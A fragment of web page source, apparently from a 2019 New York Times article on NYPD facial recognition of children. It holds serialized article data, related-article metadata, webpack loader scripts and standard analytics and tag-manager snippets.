sai","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.2":{"__typename":"TextInline","text":"d ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.3":{"__typename":"TextInline","text":"Joy Buolamwini","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.4":{"__typename":"TextInline","text":", ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.5":{"__typename":"TextInline","text":"the founder of the Algorithmic Justice League and graduate researcher at the M.I.T. Media Lab","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.71.content.6":{"__typename":"TextInline","text":", who has examined how human biases are built into artificial intelligence. ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.0":{"__typename":"TextInline","text":"The racial disparities in the juvenile justice system are stark: In New York, black and Latino juveniles were charged with crimes at far higher rates than whites in 2017, the most recent year for which numbers were available. Black juveniles outnumbered white juveniles ","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1":{"__typename":"TextInline","text":"more than 15 to 1","formats":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1.formats.0","typename":"LinkFormat"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.1.formats.0":{"__typename":"LinkFormat","url":"https:\u002F\u002Fwww.criminaljustice.ny.gov\u002Fcrimnet\u002Fojsa\u002Fjj-reports\u002Fnewyorkcity.pdf","title":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.73.content.2":{"__typename":"TextInline","text":".","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.75.content.0":{"__typename":"TextInline","text":"“If the facial recognition algorithm has a negative bias toward a black population, that will get magnified more toward children,” Dr. Ricanek said, adding that in terms of diminished accuracy, “you’re now putting yourself in unknown territory.”","formats":[]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0":{"__typename":"Article","promotionalHeadline":"Facial Recognition Makes You Safer","promotionalSummary":"Used properly, the software effectively identifies crime suspects without violating rights.","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.headline","typename":"CreativeWorkHeadline"},"summary":"Used properly, the software effectively identifies crime suspects without violating rights.","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F09\u002Fopinion\u002Ffacial-recognition-police-new-york-city.html","firstPublished":"2019-06-09T23:00:05.000Z","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia","typename":"Image"},"section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","typename":"Section"},"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0","typename":"Byline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.headline":{"default":"How Facial Recognition Makes You Safer","__typename":"CreativeWorkHeadline"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-videoLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-videoLarge.jpg","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-mediumThreeByTwo440.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-mediumThreeByTwo440.jpg","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190607opinionsunday07Oneill07Oneill-threeByTwoSmallAt2X.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002Fsunday\u002F07Oneill\u002F07Oneill-threeByTwoSmallAt2X.jpg","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-videoLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-mediumThreeByTwo440.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinionsunday07Oneill07Oneill-threeByTwoSmallAt2X.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia":{"crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0","typename":"ImageCrop"}],"__typename":"Image"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1":{"__typename":"Article","promotionalHeadline":"Spying on Children Won’t Keep Them Safe","promotionalSummary":"This week my daughter’s school became the first in the nation to pilot facial-recognition software. The technology’s potential is chilling.","headline":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.headline","typename":"CreativeWorkHeadline"},"summary":"This week my daughter’s school became the first in the nation to pilot facial-recognition software. The technology’s potential is chilling.","url":"https:\u002F\u002Fwww.nytimes.com\u002F2019\u002F06\u002F07\u002Fopinion\u002Flockport-facial-recognition-schools.html","firstPublished":"2019-06-07T15:00:05.000Z","promotionalMedia":{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia","typename":"Image"},"section":{"type":"id","generated":false,"id":"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","typename":"Section"},"bylines":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0","typename":"Byline"}]},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.headline":{"default":"Spying on Children Won’t Keep Them Safe","__typename":"CreativeWorkHeadline"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-videoLarge.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-videoLarge.jpg","name":"videoLarge","__typename":"ImageRendition"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-mediumThreeByTwo440.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-mediumThreeByTwo440.jpg","name":"mediumThreeByTwo440","__typename":"ImageRendition"},"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-threeByTwoSmallAt2X.jpg":{"url":"https:\u002F\u002Fstatic01.nyt.com\u002Fimages\u002F2019\u002F06\u002F07\u002Fopinion\u002F07shultz-privacy\u002F07shultz-privacy-threeByTwoSmallAt2X.jpg","name":"threeByTwoSmallAt2X","__typename":"ImageRendition"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0":{"renditions":[{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-videoLarge.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-mediumThreeByTwo440.jpg","typename":"ImageRendition"},{"type":"id","generated":false,"id":"ImageRendition:images20190607opinion07shultz-privacy07shultz-privacy-threeByTwoSmallAt2X.jpg","typename":"ImageRendition"}],"__typename":"ImageCrop"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia":{"crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]})":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.promotionalMedia.crops({\"renditionNames\":[\"threeByTwoSmallAt2X\",\"videoLarge\",\"mediumThreeByTwo440\"]}).0","typename":"ImageCrop"}],"__typename":"Image"},"Section:U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==":{"id":"U2VjdGlvbjpueXQ6Ly9zZWN0aW9uL2Q3YTcxMTg1LWFhNjAtNTYzNS1iY2UwLTVmYWI3NmM3YzI5Nw==","displayName":"Opinion","__typename":"Section"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0.creators.0":{"displayName":"James O’Neill","__typename":"Person"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0":{"creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.0.bylines.0.creators.0","typename":"Person"}],"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0.creators.0":{"displayName":"Jim Shultz","__typename":"Person"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0":{"creators":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.sprinkledBody.content@filterEmpty.77.related@filterEmpty.1.bylines.0.creators.0","typename":"Person"}],"__typename":"Byline"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.legacy":{"reviewInformation":"","__typename":"ArticleLegacyData","htmlExtendedAuthorOrArticleInformation":"","htmlInfoBox":""},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.0":{"type":"twitter","account":"JoeKGoldstein","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.1":{"type":"url","account":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fjoseph-goldstein","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails":{"socialMedia":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.0","typename":"ContactDetailsSocialMedia"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.contactDetails.socialMedia.1","typename":"ContactDetailsSocialMedia"}],"__typename":"ContactDetails"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.0.legacyData":{"htmlShortBiography":"\u003Cp\u003EJoseph Goldstein writes about policing and the criminal justice system. He has been a reporter at The Times since 2011, and is based in New York. He also worked for a year in the Kabul bureau, reporting on Afghanistan.\u003C\u002Fp\u003E","__typename":"PersonLegacyData"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.0":{"type":"url","account":"https:\u002F\u002Fwww.nytimes.com\u002Fby\u002Fali-watkins","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.1":{"type":"twitter","account":"AliWatkins","__typename":"ContactDetailsSocialMedia"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails":{"socialMedia":[{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.0","typename":"ContactDetailsSocialMedia"},{"type":"id","generated":true,"id":"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.contactDetails.socialMedia.1","typename":"ContactDetailsSocialMedia"}],"__typename":"ContactDetails"},"$Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==.bylines.0.creators.1.legacyData":{"htmlShortBiography":"\u003Cp\u003EAli Watkins is a reporter on the Metro Desk, covering courts and social services. Previously, she covered national security in Washington for The Times, BuzzFeed and McClatchy Newspapers.\u003C\u002Fp\u003E","__typename":"PersonLegacyData"},"ROOT_QUERY":{"workOrLocation({\"id\":\"\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html\"})":{"type":"id","generated":false,"id":"Article:QXJ0aWNsZTpueXQ6Ly9hcnRpY2xlLzlkYTU4MjQ2LTI0OTUtNTA1Zi05YWJkLWI1ZmRhOGU2N2I1Ng==","typename":"Article"}}},"config":{"gqlUrl":"https:\u002F\u002Fsamizdat-graphql.nytimes.com\u002Fgraphql\u002Fv2","gqlRequestHeaders":{"nyt-app-type":"project-vi","nyt-app-version":"0.0.5","nyt-token":"MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAs+\u002FoUCTBmD\u002FcLdmcecrnBMHiU\u002FpxQCn2DDyaPKUOXxi4p0uUSZQzsuq1pJ1m5z1i0YGPd1U1OeGHAChWtqoxC7bFMCXcwnE1oyui9G1uobgpm1GdhtwkR7ta7akVTcsF8zxiXx7DNXIPd2nIJFH83rmkZueKrC4JVaNzjvD+Z03piLn5bHWU6+w+rA+kyJtGgZNTXKyPh6EC6o5N+rknNMG5+CdTq35p8f99WjFawSvYgP9V64kgckbTbtdJ6YhVP58TnuYgr12urtwnIqWP9KSJ1e5vmgf3tunMqWNm6+AnsqNj8mCLdCuc5cEB74CwUeQcP2HQQmbCddBy2y0mEwIDAQAB"},"gqlFetchTimeout":4000,"disablePersistedQueries":false,"initialDeviceType":"desktop","fastlyAbraConfig":{},"serviceWorkerFile":"service-worker-test-1565019880489.js"},"ssrQuery":{},"initialLocation":{"pathname":"\u002F2019\u002F08\u002F01\u002Fnyregion\u002Fnypd-facial-recognition-children-teenagers.html"},"externalAssets":[]};</script>
+ <script>!function(e){function r(r){for(var n,i,a=r[0],f=r[1],l=r[2],p=0,s=[];p<a.length;p++)i=a[p],o[i]&&s.push(o[i][0]),o[i]=0;for(n in f)Object.prototype.hasOwnProperty.call(f,n)&&(e[n]=f[n]);for(c&&c(r);s.length;)s.shift()();return u.push.apply(u,l||[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,a=1;a<t.length;a++){var f=t[a];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=i(i.s=t[0]))}return e}var n={},o={37:0},u=[];function i(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,i),t.l=!0,t.exports}i.m=e,i.c=n,i.d=function(e,r,t){i.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},i.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},i.t=function(e,r){if(1&r&&(e=i(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(i.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var n in e)i.d(t,n,function(r){return e[r]}.bind(null,n));return t},i.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return i.d(r,"a",r),r},i.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},i.p="/vi-assets/static-assets/";var a=window.webpackJsonp=window.webpackJsonp||[],f=a.push.bind(a);a.push=r,a=a.slice();for(var l=0;l<a.length;l++)r(a[l]);var c=f;t()}([]);
+//# sourceMappingURL=runtime~adslot-a45e9d5711d983de8fda.js.map</script>
+ <script async src="/vi-assets/static-assets/adslot-88dc25fbfb7328ff1466.js"></script>
+ <script>!function(e){function r(r){for(var o,n,c=r[0],i=r[1],s=r[2],f=0,l=[];f<c.length;f++)n=c[f],d[n]&&l.push(d[n][0]),d[n]=0;for(o in i)Object.prototype.hasOwnProperty.call(i,o)&&(e[o]=i[o]);for(b&&b(r);l.length;)l.shift()();return a.push.apply(a,s||[]),t()}function t(){for(var e,r=0;r<a.length;r++){for(var t=a[r],o=!0,c=1;c<t.length;c++){var i=t[c];0!==d[i]&&(o=!1)}o&&(a.splice(r--,1),e=n(n.s=t[0]))}return e}var o={},d={39:0},a=[];function n(r){if(o[r])return o[r].exports;var t=o[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,n),t.l=!0,t.exports}n.e=function(e){var r=[],t=d[e];if(0!==t)if(t)r.push(t[2]);else{var o=new Promise(function(r,o){t=d[e]=[r,o]});r.push(t[2]=o);var a,c=document.createElement("script");c.charset="utf-8",c.timeout=120,n.nc&&c.setAttribute("nonce",n.nc),c.src=function(e){return n.p+""+({1:"answerpage~bestsellers~collections~hubpage~reviews~search~slideshow~timeswire~weddings",2:"vendors~audio~home~paidpost~story~trending~video",3:"bestsellers~byline~collections~reviews~trending",4:"vendors~answerpage~audio~slideshow~story",5:"vendors~audio~home~paidpost~story",6:"byline~timeswire~your-list",7:"answerpage~getstarted",8:"bestsellers~hubpage",9:"newsletter~regilite",10:"vendors~paidpost~video",11:"vendors~video~videoblock",13:"answerpage",14:"audio",15:"audioblock",16:"bestsellers",17:"blank",18:"byline",19:"coderedeem",20:"collections",21:"comments",22:"episodefooter",23:"getstarted",24:"home",25:"hubpage",28:"newsletter",29:"newsletters",30:"paidpost",31:"privacy",32:"programmables",33:"recirculation",34:"refer",35:"regilite",36:"reviews",40:"search",41:"slideshow",42:"stickyfilljs",43:"story",44:"timeswire",45:"trending",46:"vendors~audioblock",47:"vendors~collections",48:"vendors~episodefooter",49:"vendors~home",50:"vendors~slideshow",51:"video",52:"videoblock",53:"weddings",54:"your-list"}[e]||e)+"-"+{1:"3f4fa7221ef1476092a3",2:"99859b76d5b5d9a29339",3:"6f48de596aff21cee9e2",4:"4a8420b672b0eb786710",5:"ebc6aacf5f0b0f00d939",6:"cb31ca27d295accb8d47",7:"80921fe67fb06673afe2",8:"2cb427a40932c00d5467",9:"c17835f4020a81b3ebdf",10:"e6333c5f0c9d44a562b9",11:"340b908d6bbf26111cf8",13:"8c464e3538096d914776",14:"926f804d67e8a45a9f10",15:"287cb8154113b7f25784",16:"f4baccd76f2f8e8d9db8",17:"2102d3a3d664a932bad1",18:"7e235f2b3d6d19b68ded",19:"dd19d8e9f879d86abb75",20:"74e3e7b1d52b7fc14653",21:"bfae7d48bcf7e6c8ab89",22:"d32caaca6c5936978d4a",23:"300b3f609b3056db6c18",24:"e7c1959c1d8ba140707f",25:"c0e7bb29b120c3c2d802",28:"3ae59c9859d057a0249a",29:"e951dbf493cdf3558858",30:"c108afd87ed307bd7c43",31:"493cddaf9cad7abf670c",32:"3c3cfd695943ed02249d",33:"dc560ec354d5e74e6e39",34:"3202500fd0bc711d8680",35:"67182278afc38ad823b1",36:"f189bd767bbe13f59254",40:"33f98b7462fec3740a1d",41:"1d22c2cff98639b0c7b7",42:"8640087ba86873ebebae",43:"5230dd3423d03f5eb0b8",44:"2db55c4529c54890b4bd",45:"4614204aab86dd2d820f",46:"8574ab7f8faa5e4151d8",47:"07007634cf48d865ae1a",48:"1e063f58b4e3da82fc25",49:"6e63337189383a709584",50:"ab09592f64b71ce13dba",51:"35bd41b25aecc8dbc38b",52:"e71ac27943b9c0dc2f1c",53:"65894e06a558684c455b",54:"cf5b2e08b6f7a84842e2"}[e]+".js"}(e),a=function(r){c.onerror=c.onload=null,clearTimeout(i);var t=d[e];if(0!==t){if(t){var o=r&&("load"===r.type?"missing":r.type),a=r&&r.target&&r.target.src,n=new Error("Loading chunk "+e+" failed.\n("+o+": "+a+")");n.type=o,n.request=a,t[1](n)}d[e]=void 0}};var i=setTimeout(function(){a({type:"timeout",target:c})},12e4);c.onerror=c.onload=a,document.head.appendChild(c)}return Promise.all(r)},n.m=e,n.c=o,n.d=function(e,r,t){n.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},n.r=function(e){"undefined"!=typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},n.t=function(e,r){if(1&r&&(e=n(e)),8&r)return e;if(4&r&&"object"==typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(n.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var o in e)n.d(t,o,function(r){return e[r]}.bind(null,o));return t},n.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return n.d(r,"a",r),r},n.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},n.p="/vi-assets/static-assets/",n.oe=function(e){throw console.error(e),e};var c=window.webpackJsonp=window.webpackJsonp||[],i=c.push.bind(c);c.push=r,c=c.slice();for(var s=0;s<c.length;s++)r(c[s]);var b=i;t()}([]);
+//# sourceMappingURL=runtime~main-262212ad851d651999bf.js.map</script>
+ <script defer src="/vi-assets/static-assets/vendor-3389f9c978bdc7cb443c.js"></script>
+ <script defer src="/vi-assets/static-assets/story-5230dd3423d03f5eb0b8.js"></script>
+ <script defer src="/vi-assets/static-assets/main-72d661c291004bc90d1b.js"></script>
+ <script>
+(function(w, l) {
+ w[l] = w[l] || [];
+ w[l].push({
+ 'gtm.start': new Date().getTime(),
+ event: 'gtm.js'
+ });
+})(window, 'dataLayer');
+(function(){
+ var url = 'https://et.nytimes.com/pixel' +
+ '?url=' + window.location.href +
+ '&referrer=' + document.referrer +
+ '&subject=module-interactions' +
+ '&moduleData=%7B%22module%22%3A%22nyt-vi-page-pixel%22%2C%22pgType%22%3A%22%22%2C%22eventName%22%3A%22Impression%22%2C%22action%22%3A%22Impression%22%7D' +
+ '&sourceApp=nyt-vi&instant=1' +
+ '&_=' + Date.now();
+ var img = document.createElement('img');
+ img.src = url;
+ img.alt = "";
+ img.style.cssText = 'position: absolute; z-index: -999999; left: -1000px; top: -1000px;';
+ document.body.appendChild(img);
+})();
+</script>
+ <script defer src="https://www.googletagmanager.com/gtm.js?id=GTM-P528B3&gtm_auth=tfAzqo1rYDLgYhmTnSjPqw&gtm_preview=env-130&gtm_cookies_win=x"></script>
+<noscript>
